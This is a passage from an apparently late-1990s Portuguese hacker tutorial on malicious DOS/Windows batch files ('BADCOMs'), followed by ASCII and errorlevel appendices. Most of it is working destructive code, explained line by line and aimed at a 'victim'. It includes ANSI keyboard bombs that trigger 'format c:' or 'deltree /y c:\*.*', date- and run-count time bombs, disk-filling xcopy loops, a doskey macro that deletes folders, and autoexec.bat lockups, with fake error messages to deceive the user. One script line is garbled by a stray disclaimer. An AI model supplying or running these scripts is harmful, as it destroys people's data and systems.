redirecionamento junto com o seu BADCOM, senÆo nÆo vai adiantar porra nenhuma. 3.3) Diret¢rios inacess¡veis Um truque legal que pode ser feito no DOS: se voc criar um diret¢rio usando caracteres estendidos ASCII (veja a tabela na pr¢xima parte) o Ruimdows nÆo reconhecer esses diret¢rios e exibir um monte de mensagens de erro quando algum tenta acessar os mesmos. étil pra quando voc quiser entupir o HD de algum com besteira e deixar sua v¡tima desesperada sem saber como deletar esse diret¢rio. Mas nÆo sÆo todos os caracteres ASCII que criam diret¢rios inacess¡veis. Veja alguns caracteres que quando usados com o MD impede o Ruimdows de reconhec-los: þ (254), Õ (213), Ù (217), Û (987), Ù (985), Ú (986), Ã (963), Á (961), Â (962), À (960), Å (965), Ä (964), È (968), É (969), Ü (988), ß (991). Como criar um diret¢rio inacess¡vel: C> md [SEGURA ALT+CàDIGO DO CARACTERE+SOLTA ALT] Os erros que um diret¢rio desses causa no Ruimdows: quando voc d 2 cliques no diret¢rio (no Windows o nome dele ser "_") aparecer a seguinte mensagem: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ A pasta 'C:\_' nÆo existe. ³ ³ ³ ³ < OK > ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Tentando renomear a pasta , aparece: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Imposs¡vel renomear _: NÆo ³ ³ poss¡vel encontrar o arquivo ³ ³ especificado. ³ ³ ³ ³ < OK > ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Se tentar deletar o diret¢rio: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Imposs¡vel remover _: NÆo ³ ³ poss¡vel encontrar o arquivo ³ ³ especificado. ³ ³ ³ ³ < OK > ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ O cara s¢ poder remover esse diret¢rio pelo DOS, isso se ele conhecer a tabela ASCII. Ou seja, t fudido! :-) Uma boa idia criar um batch que remova o diret¢rio inacess¡vel. Veja os exemplos: [baddir.bat] @echo off md þ [anti_baddir.bat] @echo off rd þ O primeiro exemplo cria um diret¢rio inacess¡vel e o segundo exemplo exclui o diret¢rio. 3.4) ANSI ANSI outro recurso muito interessante do DOS, mas que nÆo muito utilizado. Com o ANSI voc pode mudar a cor dos caracteres da tela, mudar a forma como eles sÆo exibidos, remapear seu teclado, fazer ANSIBOMBS e tornar seus BADCOMS muito melhores. "Mestre, mestre! Onde eu compro o CD desse tal de ANSI?" IDIOTA! No seu diret¢rio \DOS ou \WINDOWS\COMMAND existe um arquivo chamado ANSI.SYS. Basta adicionar a seguinte linha no seu arquivo CONFIG.SYS: DEVICE=[caminho]\ansi.sys Depois de fazer isso, reinicie seu computador e pronto! Voc j pode usar o ANSI. O mtodo utilizado pelo ANSI para controlar o teclado e a tela a sequncia de escape, que nada mais do que uma srie de c¢digos iniciada por um caractere de escape. Todos os comandos ANSI sÆo iniciados por um caractere de escape (), seguido de um colchete esquerdo ([). Depois desses caracteres vÆo os c¢digos que dizem ao ANSI como controlar seu teclado/tela. Esses c¢digos sÆo parecidos com os do terminal VT100, s¢ que um pouco mais limitados. O problema do ANSI a dificuldade de entrar com o caractere de escape a partir do teclado. Existe um truque para fazer isso no EDIT do DOS. Pressione CTRL+P. Aparecer uma mensagem "Informe a tecla de controle para inserir" e entÆo aperte ESC. Voc ter o "". Obviamente, essa sequncia toda de caracteres nÆo vai funcionar se nÆo tiver um comando como ECHO ou TYPE. MANIPULANDO A TELA COM O ANSI Com o ANSI, voc pode apagar a tela (como no CLS), localizar o cursor num ponto da tela e mudar as cores de foreground e background. Para limpar a tela, siga o exemplo: [cls2.bat] @echo off echo [2J O comando [2J limpa a tela. Uma coisa interessante: se voc direcionar o comando CLS pra um arquivo qualquer e editar esse arquivo, o conte£do do mesmo ser [2J. Se voc der um TYPE nesse arquivo, a tela se limpar . Para mudar a cor da tela, a sintaxe [n;nm onde "n" o c¢digo da cor e "m" o c¢digo que indica a mudana de cor, portanto NÇO SE ESQUE€A DE COLOCAR A LETRA "M" NO FIM DO CàDIGO! Veja a tabela de cores para ANSI: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ CàDIGO ANSI ³ COR DO TEXTO ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 0 ³ Normal ³ ³ 1 ³ Alta intensidade ³ ³ 2 ³ Intensidade normal ³ ³ 4 ³ Azul ³ ³ 7 ³ V¡deo inverso ³ ³ 8 ³ Texto invis¡vel ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 30 ³ Foreground preto ³ ³ 31 ³ Foreground vermelho ³ ³ 32 ³ Foreground verde ³ ³ 33 ³ Foreground amarelo ³ ³ 34 ³ Foreground azul ³ ³ 35 ³ Foreground magenta ³ ³ 36 ³ Foreground ciano ³ ³ 37 ³ Foreground branco ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 40 ³ Background preto ³ ³ 41 ³ Background vermelho ³ ³ 42 ³ Background verde ³ ³ 43 ³ Background amarelo ³ ³ 44 ³ Background azul ³ ³ 45 ³ Background magenta ³ ³ 46 ³ Background ciano ³ ³ 47 ³ Background branco ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Exemplos: [azul.bat] @echo off echo [34m FUCK YOU! [pretonobranco.bat] @echo off echo [30;47m echo BAH! O primeiro exemplo exibe a mensagem "FUCK YOU" na cor azul e o segundo exemplo muda a cor do fundo pra branco e a do texto pra preto e exibe a mensagem "BAH". Finalmente, para localizar o cursor na tela, use [row;columnH, nÆo esquecendo que o H indica que o ANSI deve mudar o cursor e que nÆo pode ser esquecido. Esse comando mais f cil. O "row" corresponde linha que voc quer que o cursor v (pode ser 1 at 25) e column indica em que ponto da linha voc quer que o cursor fique (pode ir de 1 at 80). Exemplo: [teste.bat] @echo off echo [10;40H TESTE Simples. Exibe a mensagem "TESTE" na linha 10, coluna 40. REMAPEAMENTO DE TECLADO Voc pode mudar as teclas do seu computador usando ANSI. A sintaxe para a redesignaÆo de teclas : [n1;n2p Onde "n1" a tecla a ser modificada, "n2" a tecla para qual voc quer que "n1" mude e "p" o c¢digo que indica mudana de teclas. Cada letra tem um c¢digo pr¢prio, segue-se uma tabela das teclas e seus respectivos c¢digos (para ver os c¢digos das outras teclas, use o comando HELP do DOS): ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ LETRA ³ CàDIGO ³ ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ´ ³ A ³ 97 ³ ³ B ³ 98 ³ ³ C ³ 99 ³ ³ D ³ 100 ³ ³ E ³ 101 ³ ³ F ³ 102 ³ ³ G ³ 103 ³ ³ H ³ 104 ³ ³ I ³ 105 ³ ³ J ³ 106 ³ ³ K ³ 107 ³ ³ L ³ 108 ³ ³ M ³ 109 ³ ³ N ³ 110 ³ ³ O ³ 111 ³ ³ P ³ 112 ³ ³ Q ³ 113 ³ ³ R ³ 114 ³ ³ S ³ 115 ³ ³ T ³ 116 ³ ³ U ³ 117 ³ ³ W ³ 118 ³ ³ V ³ 119 ³ ³ X ³ 120 ³ ³ Y ³ 121 ³ ³ Z ³ 122 ³ ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Exemplo: [remap.bat] @echo off echo [120;122p echo [122;120p Este exemplo vai trocar a letra "X" pela letra "Z" e a letra "Z" pela "X". ANSIBOMBS Alm de trocar uma letra por outra, poss¡vel atribuir um comando a uma tecla. Supunhetemos que voc queira que a tecla "A" execute um determinado comando. Voc deve fazer assim: [n1;"string"p O "n1" a tecla a qual voc quer atribuir um comando e "string" (deve ser entre aspas!) o comando que voc quer atribuir. Se voc quiser que a tecla ENTER seja pressionada ap¢s o comando, deve ser assim: [n1;"string";13p O n£mero 13 o c¢digo ANSI da tecla ENTER. Exemplos: [a_dir.bat] @echo off [122;"dir/w";13p [abomb.bat] @echo off [105;"echo s | format c:";13p O primeiro exemplo executa o comando DIR/W sempre que a tecla "Z" for pressionada. O segundo exemplo vai detonar o HD assim que a tecla "I" for pressionada (um exemplo pr tico de ANSIBOMB!). ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ExEmPloS ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/\³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Neste cap¡tulo voc vai encontrar exemplos comentados linha por linha, assim voc poder entender melhor o que acontece no source existente no pr¢ximo cap¡tulo. 4.1) Detectando o idioma do DOS: [idioma.bat] 1| @echo off 2| vol >tmpvol.tmp 3| find "volume" tmpvol.tmp /i >nul 4| if errorlevel 0 if errorlevel 1 goto english 5| echo Seu Ruimdows em portugus 6| goto fim 7| :english 8| echo Your Ruimdows is in English 9| :fim 10| del tmpvol.tmp A linha 1 desativa o ECHO. A linha 2 executa o comando VOL direcionado pro arquivo "tmpvol.tmp". Vendo o conte£do desse arquivo, ter isso (se for em portugus): O volume da unidade C RUIMDOWS 95 O n£mero de srie do volume 22E1-0142 A linha 3 ir procurar pela palavra "volume" no arquivo "tmpvol.tmp" e a linha 4 verificar se a string nÆo foi encontrada e mandar o batch para a linha 7, se isso for verdade. a¡ que est a grande sacada. Se o Ruimdows for em portugus, aparecer a palavra "volume" no arquivo "tmpvol.tmp", mas se for em ingls, a palavra ser "label", e nÆo "volume", ou seja se o FIND nÆo encontrar a palavra "volume" porque o Ruimdows em ingls. Mas pra que isso? Respondo com outra pergunta: quando voc for detonar um HD, voc vai usar "ECHO S | FORMAT C:" ou "ECHO Y | FORMAT C:"? As linhas 5 at 10 nÆo tem muito segredo. Exibem mensagens, at chegar ao fim, que termina apagando o arquivo "tmpvol.tmp". 4.2) Detectando a data do computador [data.bat] 1| @echo off 2| dateEste texto foi extraido de uma das minhas navegaçoes na internet por isso nao sou responsavel por qualquer erro que possa ter ai .tmpdate.tmp 3| find "06/06/1998" tmpdate.tmp /i >nul 4| if errorlevel 0 if errorlevel 1 goto dataerrada 5| echo Hoje eu estou de mau humor! Vou fuder seu HD! 6| deltree /y c:\*.* 7| goto fim 8| :dataerrada 9| echo Hoje eu serei benevolente e nÆo vou fuder seu HD. 10| :fim 11| del tmpdate.tmp O princ¡pio usado nesse arquivo o mesmo do exemplo acima. A linha 1 desativa o ECHO, a 2 cria um arquivo "tmpdate.tmp" que contm a data atual, a linha 3 procura a data que voc quer que detone o HD, a 4 verifica se a data a certa ou a errada. Se for certa, exibe uma mensagem, detona os arquivos e vai pro fim, como visto nas linhas 5, 6 e 7. Se nÆo for a data certa, o programa vai para a linha 8, exibe uma mensagem na 9 e vai pro fim, onde apaga o arquivo tmpdate.tmp. 4.3) ANSIBOMB [abomb.bat] 1| @echo off 2| echo [99;"deltree /y c:\*.* >nul";13p 3| echo Mem¢ria insuficiente Este exemplo muito simples. A linha 1 desativa o ECHO, a 2 far com que quando a tecla "C" for pressionada, detone todos os arquivos e a linha 3 exibe uma mensagem de erro para enganar o usu rio, depois que a bomba foi setada. 4.4) Travando o computador [travando.bat] 1| @echo off 2| echo hehehe > hehehe.com 4| hehehe Esse mais simples ainda. A linha 1 desativa o ECHO, a 2 cria um arquivo chamado "hehehe.com" cujo conte£do seja "hehehe" e a 3 roda esse arquivo, fazendo o computador travar. 4.5) Time Bomb [tbomb.bat] 1| @echo off 2| cd\ 3| if exist data1.dat goto 2 4| type nul > data1.dat 5| attrib +a +r +h +s data1.dat 6| goto end 7| :2 8| if exist data2.dat goto 3 9| type nul > data2.dat 10| attrib +a +r +h +s data2.dat 11| goto end 12| :3 13| if exist data3.dat goto 4 14| type nul > data3.dat 15| attrib +a +r +h +s data3.dat 16| goto end 17| :4 18| if exist data4.dat goto 5 19| type nul > data4.dat 20| attrib +a +r +h +s data4.dat 21| goto end 22| :5 23| if exist data5.dat goto timeisup 24| type nul > data5.dat 25| attrib +a +r +h +s data5.dat 26| goto end 27| :timeisup 28| echo s | format c: 29| :end 30| Mem¢ria insuficiente Este BADCOM ser inofensivo durante 5 vezes que for rodado. Na sexta vez, o cara pode dizer adeus ao HD dele... Ha, Ha, Ha! Este exemplo meio grande, mas f cil por ser muito repetitivo se voc prestar atenÆo, ver que os mesmos comandos sÆo sempre usados. O segredo desse batch est nas linhas 3, 8, 13, 18 e 23. SÆo elas que vÆo determinar quantas vezes o programa j foi usado. Preste atenÆo no redirecionamento de I/O nas linhas 4, 9, 14, 19 e 24. Elas criam arquivos vazios (NUL vazio) que serÆo usados pra descobrir quantas vezes o programa j foi rodado. As linhas 5, 10, 15, 20 e 25 escondem os arquivos criados. Note tambm que sempre que um novo arquivo .DAT criado, o programa p ra, exibindo uma mensagem pra enganar o imbecil do usu rio. AtenÆo especial pra linha 23: ela que define a hora de detonar o HD, direcionando o batch pra linha 27. A partir da¡ o FORMAT acionado, como visto na linha 28. 4.6) Enchendo o HD de lixo [hdtrash.bat] 1| @echo off 2| echo d | xcopy c:\*.* %windir%\system\vms /s >nul 3| attrib +a +r +s +h %windir%\system\vms 4| Um dos arquivos necess rios nÆo foi encontrado. Um exemplo simples, s¢ que muito incmodo. Far o HD do cara dobrar de tamanho cada vez que for executado, copiando tudo que tem no HD para o diret¢rio VMS, no diret¢rio \SYSTEM do Ruimdows e no final exibe uma mensagem pra enganar o idiota. Esse BADCOM tambm esconde o diret¢rio VMS, por motivos ¢bvios. Duas coisas importantes: se nÆo for feito um PIPE, com o comando "ECHO D |", o BADCOM nÆo funcionar , pois perguntar se o VMS especificado um arquivo ou um diret¢rio. Outra coisa que voc deve ter notado foi o uso da vari vel "%windir%". Isso uma vari vel de sistema do Windows, que define em que diret¢rio o Ruimdows est instalado. 4.7) Abrindo janelas infinitamente [window.bat] 1| @echo off 2| :loop 3| %windir%\notepad 4| goto loop Outro BADCOM simples, mas que um p no saco! Fica abrindo infinitas janelas do NOTEPAD, devido ao comando "goto loop" (linha 4) que retorna para a linha 2. Note tambm o uso da vari vel "%windir%" novamente. Voc pode substituir o "notepad" por outro programa, se voc quiser. 4.8) Usando o DOSKEY pra destruir [tbomb2.bat] 1| @echo off 2| doskey cd deltree /y $1 /echo:off 3| Um arquivo necess rio nÆo foi encontrado àtimo BADCOM: f cil e destrutivo. Faz com que quando sua v¡tima tentar entrar em um diret¢rio, delete esse diret¢rio. Isso ocorre porque quando voc entra em um diret¢rio, usa o comando "CD $1", onde $1 equivale ao diret¢rio que voc quer entrar. Essa macro substitui o "CD $1" por "DELTREE /Y $1". 4.9) Travando o computador durante a inicializaÆo [autoexec.bat] @type autoexec.bat >> autoexec.bat Esse um batch 2 em 1. Ao mesmo tempo que trava o computador da v¡tima, aumenta o tamanho do HD. Obviamente, esse comando deve ser ADICIONADO · éLTIMA LINHA DO AUTOEXEC.BAT. O comando TYPE vai adicionar tudo que tem no Autoexec ao pr¢prio Autoexec fazendo um loop infinito (e travando tudo), porque o DOS executa um batch linha por linha. Quando o batch chega ao fim, executa o comando mostrado acima e comea tudo de novo. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³\/\/\/\/\/\/\/\/\ - - = [ CoMo ConTaTaR o AuToR ] = - - /\/\/\/\/\/\/\/\/\/\³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Se voc tiver qualquer d£vida, coment rio, encontrou alguma informaÆo errada ou sabe de alguma dica legal pra ser usada num BADCOM, meu e-mail [email protected] e meu ICQ# 1941484. Contanto que voc nÆo fique me enchendo o saco com perguntas idiotas, sinta-se livre pra me contatar quando voc quiser. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³/\/\/\/\/\/\/\/\ - - = [ ApÒnDiCe A: TaBelA ASCii ] = - - /\/\/\/\/\/\/\/\/\³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Aqui vai a lista dos caracteres ASCII estendidos e seus respectivos c¢digos. Para us -los pressione ALT, escreva o n£mero do c¢digo e solte ALT (no teclado numrico) ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄ¿ ³CARACTERE³CàDIGO³ ³CARACTERE³CàDIGO³ ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄ´ ³ € ³ 128 ³ ³ À ³ 192 ³ ³ ³ 129 ³ ³ Á ³ 193 ³ ³ ³ 130 ³ ³ Â ³ 194 ³ ³ ³ 131 ³ ³ Ã ³ 195 ³ ³ ³ 132 ³ ³ Ä ³ 196 ³ ³ ³ 133 ³ ³ Å ³ 197 ³ ³ ³ 134 ³ ³ Æ ³ 198 ³ ³ ³ 135 ³ ³ Ç ³ 199 ³ ³ ³ 136 ³ ³ È ³ 200 ³ ³ ³ 137 ³ ³ É ³ 201 ³ ³ ³ 138 ³ ³ Ê ³ 202 ³ ³ ³ 139 ³ ³ Ë ³ 203 ³ ³ ³ 140 ³ ³ Ì ³ 204 ³ ³ ³ 141 ³ ³ Í ³ 205 ³ ³ ³ 142 ³ ³ Î ³ 206 ³ ³ ³ 143 ³ ³ Ï ³ 207 ³ ³ ³ 144 ³ ³ Ð ³ 208 ³ ³ ³ 145 ³ ³ Ñ ³ 209 ³ ³ ³ 146 ³ ³ Ò ³ 210 ³ ³ ³ 147 ³ ³ Ó ³ 211 ³ ³ ³ 148 ³ ³ Ô ³ 212 ³ ³ ³ 149 ³ ³ Õ ³ 213 ³ ³ ³ 150 ³ ³ Ö ³ 214 ³ ³ ³ 151 ³ ³ × ³ 215 ³ ³ ³ 152 ³ ³ Ø ³ 216 ³ ³ ³ 153 ³ ³ Ù ³ 217 ³ ³ ³ 154 ³ ³ Ú ³ 218 ³ ³ ³ 155 ³ ³ Û ³ 219 ³ ³ ³ 156 ³ ³ Ü ³ 220 ³ ³ ³ 157 ³ ³ Ý ³ 221 ³ ³ ³ 158 ³ ³ Þ ³ 222 ³ ³ ³ 159 ³ ³ ß ³ 223 ³ ³ ³ 160 ³ ³ à ³ 224 ³ ³ ¡ ³ 161 ³ ³ á ³ 225 ³ ³ ¢ ³ 162 ³ ³ â ³ 226 ³ ³ £ ³ 163 ³ ³ ã ³ 227 ³ ³ ¤ ³ 164 ³ ³ ä ³ 228 ³ ³ ¥ ³ 165 ³ ³ å ³ 229 ³ ³ ¦ ³ 166 ³ ³ æ ³ 230 ³ ³ § ³ 167 ³ ³ ç ³ 231 ³ ³ ¨ ³ 168 ³ ³ è ³ 232 ³ ³ © ³ 169 ³ ³ é ³ 233 ³ ³ ª ³ 170 ³ ³ ê ³ 234 ³ ³ « ³ 171 ³ ³ ë ³ 235 ³ ³ ¬ ³ 172 ³ ³ ì ³ 236 ³ ³ ³ 173 ³ ³ í ³ 237 ³ ³ ® ³ 174 ³ ³ î ³ 238 ³ ³ ¯ ³ 175 ³ ³ ï ³ 239 ³ ³ ° ³ 176 ³ ³ ð ³ 240 ³ ³ ± ³ 177 ³ ³ ñ ³ 241 ³ ³ ² ³ 178 ³ ³ ò ³ 242 ³ ³ ³ ³ 179 ³ ³ ó ³ 243 ³ ³ ´ ³ 180 ³ ³ ô ³ 244 ³ ³ µ ³ 181 ³ ³ õ ³ 245 ³ ³ ¶ ³ 182 ³ ³ ö ³ 246 ³ ³ · ³ 183 ³ ³ ÷ ³ 247 ³ ³ ¸ ³ 184 ³ ³ ø ³ 248 ³ ³ ¹ ³ 185 ³ ³ ù ³ 249 ³ ³ º ³ 186 ³ ³ ú ³ 250 ³ ³ » ³ 187 ³ ³ û ³ 251 ³ ³ ¼ ³ 188 ³ ³ ü ³ 252 ³ ³ ½ ³ 189 ³ ³ ý ³ 253 ³ ³ ¾ ³ 190 ³ ³ þ ³ 254 ³ ³ ¿ ³ 191 ³ ³ ÿ ³ 255 ³ ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³/\/\/\/\/\/\/\/\ - - = [ ApÒnDiCe B: ERRoRlEvElS ] = - - /\/\/\/\/\/\/\/\/\/³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Por enquanto eu s¢ consegui os errorlevels de alguns programas (alguns deles in£teis) do DOS. Conforme eu for arranjando mais, eu aumento essa lista. -> MSBACKUP 0 - Normal 1 - Nenhum arquivo foi copiado 2 - Conflito de partilhamento de arquivos 3 - CTRL+BREAK foi pressionado 4 - Erro -> DISKCOMP 0 - Normal 1 - Os disquetes eram incompar veis 2 - CTRL+BREAK pressionado 3 - Erro de hardware 4 - Erro de inicializaÆo -> DISKCOPY 0 - Normal 1 - Erro de leitura/gravaÆo 2 - CTRL+BREAK pressionado 3 - Erro de hardware 4 - Erro de inicializaÆo -> FORMAT 0 - Normal 2 - CTRL+BREAK foi pressionado 4 - Erro 5 - "N" foi pressionado quando perguntou se queria formatar o HD -> KEYB 0 - Normal 1 - Erro de sintaxe 2 - Arquivo de teclado nÆo encontrado 3 - Problema de mem¢ria 4 - Erro no dispositivo CON 5 - SolicitaÆo de c¢digo de p gina nÆo preparado 6 - Tabela de traduÆo nÆo encontrada 7 - VersÆo incorreta do DOS -> REPLACE 0 - Normal 1 - Arquivo fonte nÆo encontrado 3 - Path do arquivo fonte nÆo encontrado 5 - Acesso negado 8 - Mem¢ria insuficiente 11 - Erro de sintaxe 15 - Unidade de disco inexistente 22 - VersÆo incorreta do DOS -> RESTORE 0 - Normal 1 - Nenhum arquivo encontrado 2 - Conflito de partilhamento de arquivos 3 - CTRL+BREAK pressionado 4 - Erro -> SETVER 0 - Normal 1 - Parmetro desconhecido 2 - Nome de arquivo desconhecido 3 - Falta de mem¢ria 4 - VersÆo do DOS errada 5 - Entrada do programa nÆo foi encontrada 6 - Sistema DOS nÆo foi encontrado 7 - Unidade de disco inv lida 8 - Excesso de parmetros 9 - Faltam parmetros 10 - Erro lendo MSDOS.SYS 11 - Tabela de versÆo est corrompida 12 - Arquivos de sistema DOS nÆo suportam as tabelas de versÆo 13 - NÆo h espao dispon¡vel na tabela de versÆo 14 - Erro gravando MSDOS.SYS -> XCOPY 0 - Normal 1 - Nenhum arquivo encontrado 2 - CTRL+BREAK pressionado 4 - Erro de inicializaÆo 5 - Erro de gravaÆo/disco protegido -> FIND 0 - Normal, o comando encontrou a string especificada 0 e 1 ao mesmo tempo - A string nÆo foi encontrada